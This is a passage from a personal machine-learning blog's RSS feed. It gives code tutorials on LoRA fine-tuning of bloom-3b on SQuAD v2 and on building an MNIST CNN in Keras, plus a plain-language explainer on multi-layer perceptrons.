will use the <code>bloom-3b</code> model from Hugging Face and perform fine-tuning on the SQuAD v2 dataset.</p><h2 id="setup-and-installation">Setup and Installation</h2><p>First, I need to install the necessary libraries. This includes <code>bitsandbytes</code>, <code>datasets</code>, <code>accelerate</code>, <code>loralib</code>, and <code>peft</code>.</p><pre><code class="language-python">!pip install -q bitsandbytes datasets accelerate loralib
!pip install -q git+https://github.com/huggingface/peft.git
!pip install -q git+https://github.com/huggingface/transformers.git
import os
os.environ[&quot;CUDA_VISIBLE_DEVICES&quot;] = &quot;0&quot;</code></pre><h2 id="model-preparation">Model Preparation</h2><p>Load the <code>bloom-3b</code> model and tokenizer, and prepare the model for fine-tuning.</p><pre><code class="language-python">import torch
import torch.nn as nn
import bitsandbytes as bnb
from transformers import AutoTokenizer, AutoConfig, AutoModelForCausalLM

model = AutoModelForCausalLM.from_pretrained(
    &quot;bigscience/bloom-3b&quot;,
    torch_dtype=torch.float16,
    device_map=&apos;auto&apos;
)

tokenizer = AutoTokenizer.from_pretrained(&quot;bigscience/bloom-3b&quot;)
for param in model.parameters():
    param.requires_grad = False
    if param.ndim == 1:
        param.data = param.data.to(torch.float32)

model.gradient_checkpointing_enable()
model.enable_input_require_grads()

class CastOutputFloat(nn.Sequential):
    def forward(self, x): 
        return super().forward(x).to(torch.float32)

model.lm_head = CastOutputFloat(model.lm_head)</code></pre><h2 id="lora-configuration">LoRA Configuration</h2><p>Configure the model to use LoRA for fine-tuning. This involves setting up a LoRA configuration and applying it to the model.</p><pre><code class="language-python">from peft import LoraConfig, get_peft_model

config = LoraConfig(
    r=8,
    lora_alpha=16,
    target_modules=[&quot;query_key_value&quot;],
    lora_dropout=0.05,
    bias=&quot;none&quot;,
    task_type=&quot;CAUSAL_LM&quot;,
)

model = get_peft_model(model, config)

def print_trainable_parameters(model):
    trainable_params = 0
    all_param = 0
    for _, param in model.named_parameters():
        all_param += param.numel()
        if param.requires_grad:
            trainable_params += param.numel()
    print(f&quot;trainable parameters: {trainable_params} || all parameters: {all_param} || percentage: {trainable_params/all_param*100:.2f}%&quot;)

print_trainable_parameters(model)</code></pre><h2 id="dataset-preparation">Dataset Preparation</h2><p>Load the SQuAD v2 dataset and preprocess it for training.</p><pre><code class="language-python">from datasets import load_dataset

qa_dataset = load_dataset(&quot;squad_v2&quot;)

def create_prompt(context, question, answer):
    if len(answer[&quot;text&quot;]) &lt; 1:
        answer_text = &quot;Cannot answer&quot;
    else:
        answer_text = answer[&quot;text&quot;][0]
    prompt_template = f&quot;### CONTEXT\n{context}\n\n### QUESTION\n{question}\n\n### ANSWER\n{answer_text}&lt;/s&gt;&quot;
    return prompt_template

mapped_qa_dataset = qa_dataset.map(
    lambda samples: tokenizer(
        create_prompt(samples[&apos;context&apos;], samples[&apos;question&apos;], samples[&apos;answers&apos;])))</code></pre><h2 id="training-the-model">Training the Model</h2><p>Set up the training arguments and train the model using the <code>Trainer</code> class from Hugging Face Transformers.</p><pre><code class="language-python">import transformers

trainer = transformers.Trainer(
    model=model,
    train_dataset=mapped_qa_dataset[&quot;train&quot;],
    args=transformers.TrainingArguments(
        per_device_train_batch_size=4,
        gradient_accumulation_steps=4,
        warmup_steps=100,
        max_steps=100,
        learning_rate=1e-3,
        fp16=True,
        logging_steps=1,
        output_dir=&apos;outputs&apos;,
    ),
    data_collator=transformers.DataCollatorForLanguageModeling(tokenizer, mlm=False)
)

model.config.use_cache = False
trainer.train()</code></pre><h2 id="model-deployment">Model Deployment</h2><p>Login to Hugging Face and push the fine-tuned model to the Hugging Face Hub.</p><pre><code class="language-python">HUGGING_FACE_USER_NAME = &quot;Mohammedxo51&quot;

from huggingface_hub import notebook_login
notebook_login()

model_name = &quot;squad-bloom-3b&quot;

model.push_to_hub(f&quot;{HUGGING_FACE_USER_NAME}/{model_name}&quot;, use_auth_token=True)</code></pre><h2 id="inference">Inference</h2><p>Load the fine-tuned model and tokenizer, and perform inference to answer questions based on provided context.</p><pre><code class="language-python">from peft import PeftModel, PeftConfig
from transformers import AutoModelForCausalLM, AutoTokenizer

peft_model_id = f&quot;{HUGGING_FACE_USER_NAME}/{model_name}&quot;
config = PeftConfig.from_pretrained(peft_model_id)
model = AutoModelForCausalLM.from_pretrained(config.base_model_name_or_path, return_dict=True, load_in_8bit=False, device_map=&apos;auto&apos;)
tokenizer = AutoTokenizer.from_pretrained(config.base_model_name_or_path)

qa_model = PeftModel.from_pretrained(model, peft_model_id)

from IPython.display import display, Markdown

def make_inference(context, question):
    prompt = f&quot;### CONTEXT\n{context}\n\n### QUESTION\n{question}\n\n### ANSWER\n&quot;
    inputs = tokenizer(prompt, return_tensors=&quot;pt&quot;)
    inputs = {k: v.to(qa_model.device) for k, v in inputs.items()}

    with torch.cuda.amp.autocast():
        output_tokens = qa_model.generate(**inputs, max_new_tokens=200, pad_token_id=tokenizer.eos_token_id)

    answer = tokenizer.decode(output_tokens[0], skip_special_tokens=True)
    display(Markdown(answer))

context = &quot;Some context&quot;
question = &quot;A question about the context?&quot;
make_inference(context, question)</code></pre><h2 id="conclusion">Conclusion</h2><p>In this blog post, I covered the steps to fine-tune a large language model using LoRA. I demonstrated how to set up the environment, prepare the model, configure LoRA, preprocess the dataset, train the model, deploy it to the Hugging Face Hub, and perform inference. This approach allows for efficient fine-tuning with a significantly reduced number of trainable parameters.</p>]]></content:encoded></item><item><title><![CDATA[Multi-Layer Perceptron (MLP)]]></title><description><![CDATA[<p>This blog post dives deep into Multi-Layer Perceptrons (MLP), the building blocks of deep learning. Explore how they model complex data to drive AI innovations in fields like voice recognition and financial forecasting. </p><h2 id="what-is-a-neuron">What is a Neuron?</h2><p>In the context of neural networks, a neuron is a basic unit, similar</p>]]></description><link>https://blog.mohammedx.tech/mlp/</link><guid isPermaLink="false">6672669d2074360001f33c20</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 05:33:58 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/mlp.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/mlp.jpg" alt="Multi-Layer Perceptron (MLP)"><p>This blog post dives deep into Multi-Layer Perceptrons (MLP), the building blocks of deep learning. Explore how they model complex data to drive AI innovations in fields like voice recognition and financial forecasting. </p><h2 id="what-is-a-neuron">What is a Neuron?</h2><p>In the context of neural networks, a neuron is a basic unit, similar to a tiny processing element in a computer. Imagine it as a small worker in your brain that receives input, processes it, and passes on the output. In a Multi-Layer Perceptron, each neuron receives signals from previous layers, processes these signals by performing simple calculations, and then sends the result to the next layer of neurons. This process is much like passing a message along in a game of telephone, where each player adds a little bit to the message before passing it on. Neurons work together in layers to handle complex tasks like recognizing faces or understanding spoken words.</p><h2 id="structure-of-an-mlp">Structure of an MLP</h2><p>A Multi-Layer Perceptron (MLP) is like a complex network made up of layers stacked one after another. Each layer is filled with neurons, those tiny workers that process and pass on information. The first layer, called the input layer, receives the initial data, like images or sounds. The last layer, known as the output layer, gives the final result, like identifying an object in a picture. Between the input and output, there are one or more hidden layers where most of the processing happens. These layers work together to transform the input data step-by-step into a form that the output layer can use to make a decision or prediction. This layered structure allows MLPs to learn from data and make smart decisions based on what they&apos;ve learned.</p><h2 id="the-forward-pass-data-flow-through-layers">The Forward Pass: Data Flow through Layers.</h2><p>In a Multi-Layer Perceptron (MLP), the forward pass is like data going through a series of gates. It starts at the input layer, where each neuron looks at a piece of the data and does a simple math problem. Think of this as the first gate, where the data gets a quick check. Then, the data moves to the next layer, or the next gate, where it gets checked again but in a slightly different way. Each layer works like a gate, making the data a bit clearer and more useful every time it passes through one. By the time the data reaches the output layer, the last gate, it&apos;s fully processed and ready to give us an answer or decision. The whole journey is straightforward, with data moving from one gate to the next without going back.</p><h2 id="activation-functions">Activation Functions.</h2><p>Activation functions in a Multi-Layer Perceptron (MLP) are like special rules that decide how a neuron should react to the information it receives. Without activation functions, an MLP would just perform simple, straightforward calculations, which might not be enough to solve more complex problems like recognizing images or understanding speech.</p><p>Think of activation functions as filters at a playground slide. These filters decide how much of the incoming signals (kids wanting to slide) should actually go through. Some signals might trigger a strong reaction and send lots of data forward (like a big push that sends a kid sliding fast), while others might not do much at all (like a gentle push that only moves the kid a little).</p><p>By using these rules or filters, MLPs can handle information in more complex and nuanced ways, which is essential for dealing with the tricky, non-straightforward tasks we often ask them to perform. This ability to process information in non-linear, varied ways is what makes MLPs so powerful in the world of artificial intelligence.</p><h2 id="backpropagation-algorithm-learning-from-errors">Backpropagation Algorithm: Learning from Errors.</h2><p>The backpropagation algorithm is like a teacher who helps a Multi-Layer Perceptron (MLP) learn from its mistakes. When an MLP tries to make a prediction, such as guessing what&apos;s in a picture, it might not always get it right. The backpropagation algorithm checks the MLP&apos;s answer against the correct answer and then figures out where the MLP went wrong.</p><p>Think of it like going back over a path of footprints to see where you slipped. The algorithm starts from the end (the wrong answer) and moves backwards through the network, adjusting things slightly at each layer to correct the mistake. It tells each neuron in the MLP how to change its calculations to be more accurate next time. This process of moving backward and making adjustments helps the MLP improve, so it can make better guesses in the future. It&apos;s like learning through trial and error, constantly tweaking and improving based on feedback.</p><h2 id="conclusion">Conclusion</h2><p>In conclusion, Multi-Layer Perceptrons (MLPs) are a fundamental tool in the world of deep learning, helping machines tackle complex tasks by mimicking the way our brains work. From understanding how MLPs function to seeing them in action with practical examples, we&apos;ve explored the significant role they play in advancing artificial intelligence. Whether you&apos;re just starting out or looking to deepen your knowledge, the journey into neural networks is as exciting as it is rewarding. Happy exploring, and keep learning!</p>]]></content:encoded></item><item><title><![CDATA[Convolutional Neural Network (CNN)]]></title><description><![CDATA[<p>In this blog, I will discuss Convolutional Neural Networks (CNNs) and demonstrate how to build a neural network for digit image classification.</p><h2 id="brief-overview-of-cnn-and-its-applications">Brief overview of CNN and its applications</h2><p>Convolutional Neural Networks (CNNs) are deep learning models designed for image processing. They are used in image classification, object detection, image</p>]]></description><link>https://blog.mohammedx.tech/convolutional-neural-network/</link><guid isPermaLink="false">66726b332074360001f33c44</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 05:33:51 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/output-layer.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/output-layer.png" alt="Convolutional Neural Network (CNN)"><p>In this blog, I will discuss Convolutional Neural Networks (CNNs) and demonstrate how to build a neural network for digit image classification.</p><h2 id="brief-overview-of-cnn-and-its-applications">Brief overview of CNN and its applications</h2><p>Convolutional Neural Networks (CNNs) are deep learning models designed for image processing. They are used in image classification, object detection, image segmentation, facial recognition, autonomous vehicles, and enhancing text data processing in natural language processing.</p><h2 id="loading-and-preprocessing-the-mnist-dataset">Loading and Preprocessing the MNIST Dataset</h2><p>To start building our CNN model, the first step is to load and preprocess the MNIST dataset. The MNIST dataset consists of 60,000 training images and 10,000 testing images of handwritten digits, each of size 28x28 pixels.</p><p><strong>Loading the Dataset:</strong></p><p>We use the <code>mnist</code> module from <code>tensorflow.keras.datasets</code> to load the dataset. The <code>load_data()</code> function returns four NumPy arrays: the training images (<code>trainX</code>), training labels (<code>trainY</code>), testing images (<code>testX</code>), and testing labels (<code>testY</code>).</p><pre><code class="language-python">from tensorflow.keras.datasets import mnist

# load train and test dataset
(trainX, trainY), (testX, testY) = mnist.load_data()</code></pre><p><strong>Reshaping and Encoding the Data:</strong></p><p>Since CNNs expect the input data to have a single color channel, we need to reshape the data. The <code>reshape()</code> function modifies the shape of the images to <code>(28, 28, 1)</code>.</p><p>Additionally, the labels need to be one-hot encoded, converting the integer labels into binary class matrices using the <code>to_categorical()</code> function from <code>tensorflow.keras.utils</code>.</p><pre><code class="language-python">from tensorflow.keras.utils import to_categorical

# reshape dataset to have a single channel
trainX = trainX.reshape((trainX.shape[0], 28, 28, 1))
testX = testX.reshape((testX.shape[0], 28, 28, 1))

# one hot encode target values
trainY = to_categorical(trainY)
testY = to_categorical(testY)</code></pre><h2 id="preparing-pixel-data">Preparing Pixel Data</h2><p>Before feeding the MNIST dataset into our Convolutional Neural Network (CNN), it&apos;s crucial to preprocess the pixel values to ensure the model performs optimally. This step involves normalizing the pixel values to a range that the neural network can handle more efficiently.</p><p><strong>Converting Pixel Values to Floats:</strong></p><p>The pixel values in the MNIST dataset are originally integers ranging from 0 to 255. To normalize these values, we first need to convert them to floats. This conversion ensures that subsequent operations, like division for normalization, are performed correctly.</p><pre><code class="language-python"># convert from integers to floats
train_norm = train.astype(&apos;float32&apos;)
test_norm = test.astype(&apos;float32&apos;)</code></pre><p><strong>Normalizing to Range 0-1:</strong></p><p>Neural networks perform better when input values are normalized. In this case, we scale the pixel values from the original range of 0-255 to a range of 0-1. This is done by dividing each pixel value by 255.0.</p><pre><code class="language-python"># normalize to range 0-1
train_norm = train_norm / 255.0
test_norm = test_norm / 255.0
# return normalized images
return train_norm, test_norm</code></pre><p><strong>Complete Function:</strong></p><pre><code class="language-python"># scale pixels
def prep_pixels(train, test):
    # convert from integers to floats
    train_norm = train.astype(&apos;float32&apos;)
    test_norm = test.astype(&apos;float32&apos;)
    # normalize to range 0-1
    train_norm = train_norm / 255.0
    test_norm = test_norm / 255.0
    # return normalized images
    return train_norm, test_norm
</code></pre><h2 id="defining-the-cnn-model">Defining the CNN Model</h2><p><strong>1.Convolutional Layer:</strong></p><ul><li>The first layer is a 2D convolutional layer with 32 filters, a kernel size of 3x3, and ReLU activation function. This layer uses the &apos;he_uniform&apos; initializer for the kernel weights and expects input images of shape (28, 28, 1).</li></ul><pre><code class="language-python">model.add(Conv2D(32, (3, 3), activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;, input_shape=(28, 28, 1)))</code></pre><p><strong>2.Max Pooling Layer:</strong></p><ul><li>Following the convolutional layer, we add a max pooling layer with a pool size of 2x2. This layer reduces the spatial dimensions of the feature maps, which helps to decrease computational load and control overfitting.</li></ul><pre><code class="language-pyhon">model.add(MaxPooling2D((2, 2)))</code></pre><p><strong>3.Flatten Layer:</strong></p><ul><li>Next, we flatten the 2D feature maps into a 1D vector. This step prepares the data for the fully connected layers.</li></ul><pre><code class="language-python">model.add(Flatten())</code></pre><p><strong>4.Fully Connected (Dense) Layer:</strong></p><ul><li>We add a dense layer with 100 units and ReLU activation. This layer further processes the features extracted by the convolutional layers.</li></ul><pre><code class="language-python">model.add(Dense(100, activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;))
</code></pre><p><strong>5.Output Layer:</strong></p><ul><li>The final layer is a dense layer with 10 units and a softmax activation function. This layer outputs the probabilities for each of the 10 digit classes.</li></ul><pre><code class="language-python">model.add(Dense(10, activation=&apos;softmax&apos;))</code></pre><p><strong>Compiling the Model:</strong></p><p>After defining the model architecture, we need to compile the model. Compilation involves specifying the optimizer, loss function, and evaluation metrics. We use the Stochastic Gradient Descent (SGD) optimizer with a learning rate of 0.01 and momentum of 0.9. The loss function is categorical cross-entropy, suitable for multi-class classification tasks. We also specify accuracy as the evaluation metric.</p><p>Complete Function:</p><pre><code class="language-python"># define cnn model
def define_model():
    model = Sequential()
    model.add(Conv2D(32, (3, 3), activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;, input_shape=(28, 28, 1)))
    model.add(MaxPooling2D((2, 2)))
    model.add(Flatten())
    model.add(Dense(100, activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;))
    model.add(Dense(10, activation=&apos;softmax&apos;))
    # compile model
    opt = SGD(learning_rate=0.01, momentum=0.9)
    model.compile(optimizer=opt, loss=&apos;categorical_crossentropy&apos;, metrics=[&apos;accuracy&apos;])
    return model</code></pre><h2 id="evaluating-the-model-with-k-fold-cross-validation">Evaluating the Model with K-Fold Cross-Validation</h2><p>To ensure our Convolutional Neural Network (CNN) model generalizes well to unseen data, we evaluate its performance using K-fold cross-validation. This technique involves splitting the training data into K subsets (folds), training the model on K-1 folds, and validating it on the remaining fold. This process is repeated K times, with each fold used exactly once for validation.</p><p><strong>Setting Up K-Fold Cross-Validation:</strong></p><p>We use the <code>KFold</code> class from <code>sklearn.model_selection</code> to create the K-fold splits. Here, we specify 5 folds and enable shuffling with a fixed random seed for reproducibility.</p><pre><code class="language-python">from sklearn.model_selection import KFold

# prepare cross validation
kfold = KFold(n_folds, shuffle=True, random_state=1)</code></pre><p><strong>Training and Evaluating the Model:</strong></p><p>For each fold, we:</p><ol><li>Define a new instance of the CNN model.</li><li>Split the data into training and validation sets based on the current fold.</li><li>Train the model on the training set for 10 epochs with a batch size of 32.</li><li>Evaluate the model on the validation set and store the accuracy score and training history.</li></ol><pre><code class="language-python"># enumerate splits
for train_ix, test_ix in kfold.split(dataX):
    # define model
    model = define_model()
    # select rows for train and test
    trainX, trainY, testX, testY = dataX[train_ix], dataY[train_ix], dataX[test_ix], dataY[test_ix]
    # fit model
    history = model.fit(trainX, trainY, epochs=10, batch_size=32, validation_data=(testX, testY), verbose=0)
    # evaluate model
    _, acc = model.evaluate(testX, testY, verbose=0)
    print(&apos;&gt; %.3f&apos; % (acc * 100.0))
    # stores scores
    scores.append(acc)
    histories.append(history)</code></pre><p><strong>Complete Function:</strong></p><pre><code class="language-python"># evaluate a model using k-fold cross-validation
def evaluate_model(dataX, dataY, n_folds=5):
    scores, histories = list(), list()
    # prepare cross validation
    kfold = KFold(n_folds, shuffle=True, random_state=1)
    # enumerate splits
    for train_ix, test_ix in kfold.split(dataX):
        # define model
        model = define_model()
        # select rows for train and test
        trainX, trainY, testX, testY = dataX[train_ix], dataY[train_ix], dataX[test_ix], dataY[test_ix]
        # fit model
        history = model.fit(trainX, trainY, epochs=10, batch_size=32, validation_data=(testX, testY), verbose=0)
        # evaluate model
        _, acc = model.evaluate(testX, testY, verbose=0)
        print(&apos;&gt; %.3f&apos; % (acc * 100.0))
        # store scores
        scores.append(acc)
        histories.append(history)
    return scores, histories</code></pre><h2 id="visualizing-learning-curves">Visualizing Learning Curves</h2><p>To gain insights into how well our Convolutional Neural Network (CNN) model is training and generalizing, we can visualize the learning curves for both loss and accuracy over epochs. These curves help us understand the model&apos;s performance on the training and validation sets during the training process.</p><p><strong>Plotting Learning Curves:</strong></p><p>We use the <code>matplotlib.pyplot</code> library to create plots that display the training and validation loss and accuracy for each epoch. The <code>summarize_diagnostics()</code> function handles this task by iterating over the training histories recorded during cross-validation.</p><ol><li><strong>Loss Curves:</strong><ul><li>The first subplot displays the cross-entropy loss for both the training and validation datasets.</li><li>This helps us see how the model&apos;s loss decreases over time and whether it converges.</li></ul></li><li><strong>Accuracy Curves:</strong><ul><li>The second subplot shows the classification accuracy for both the training and validation datasets.</li><li>This illustrates how the model&apos;s accuracy improves over time.</li></ul></li></ol><pre><code class="language-python">from matplotlib import pyplot as plt

# plot diagnostic learning curves
def summarize_diagnostics(histories):
    for i in range(len(histories)):
        # plot loss
        plt.subplot(2, 1, 1)
        plt.title(&apos;Cross Entropy Loss&apos;)
        plt.plot(histories[i].history[&apos;loss&apos;], color=&apos;blue&apos;, label=&apos;train&apos;)
        plt.plot(histories[i].history[&apos;val_loss&apos;], color=&apos;orange&apos;, label=&apos;test&apos;)
        plt.legend([&apos;train&apos;, &apos;test&apos;], loc=&apos;upper right&apos;)

        # plot accuracy
        plt.subplot(2, 1, 2)
        plt.title(&apos;Classification Accuracy&apos;)
        plt.plot(histories[i].history[&apos;accuracy&apos;], color=&apos;blue&apos;, label=&apos;train&apos;)
        plt.plot(histories[i].history[&apos;val_accuracy&apos;], color=&apos;orange&apos;, label=&apos;test&apos;)
        plt.legend([&apos;train&apos;, &apos;test&apos;], loc=&apos;upper right&apos;)

    plt.show()</code></pre><h2 id="conclusion">Conclusion</h2><p>In this blog post, we explored the process of building and evaluating a Convolutional Neural Network (CNN) for classifying handwritten digits from the MNIST dataset. We covered the steps of loading and preprocessing the data, defining the CNN model, and evaluating its performance using K-fold cross-validation. Additionally, we visualized learning curves to gain insights into the model&apos;s training process.</p><p>By following these steps, we demonstrated how CNNs can effectively learn and generalize from image data, achieving high accuracy in digit classification. This foundational knowledge can be applied to various other image classification tasks, showcasing the power and versatility of CNNs in computer vision applications.</p>]]></content:encoded></item></channel></rss>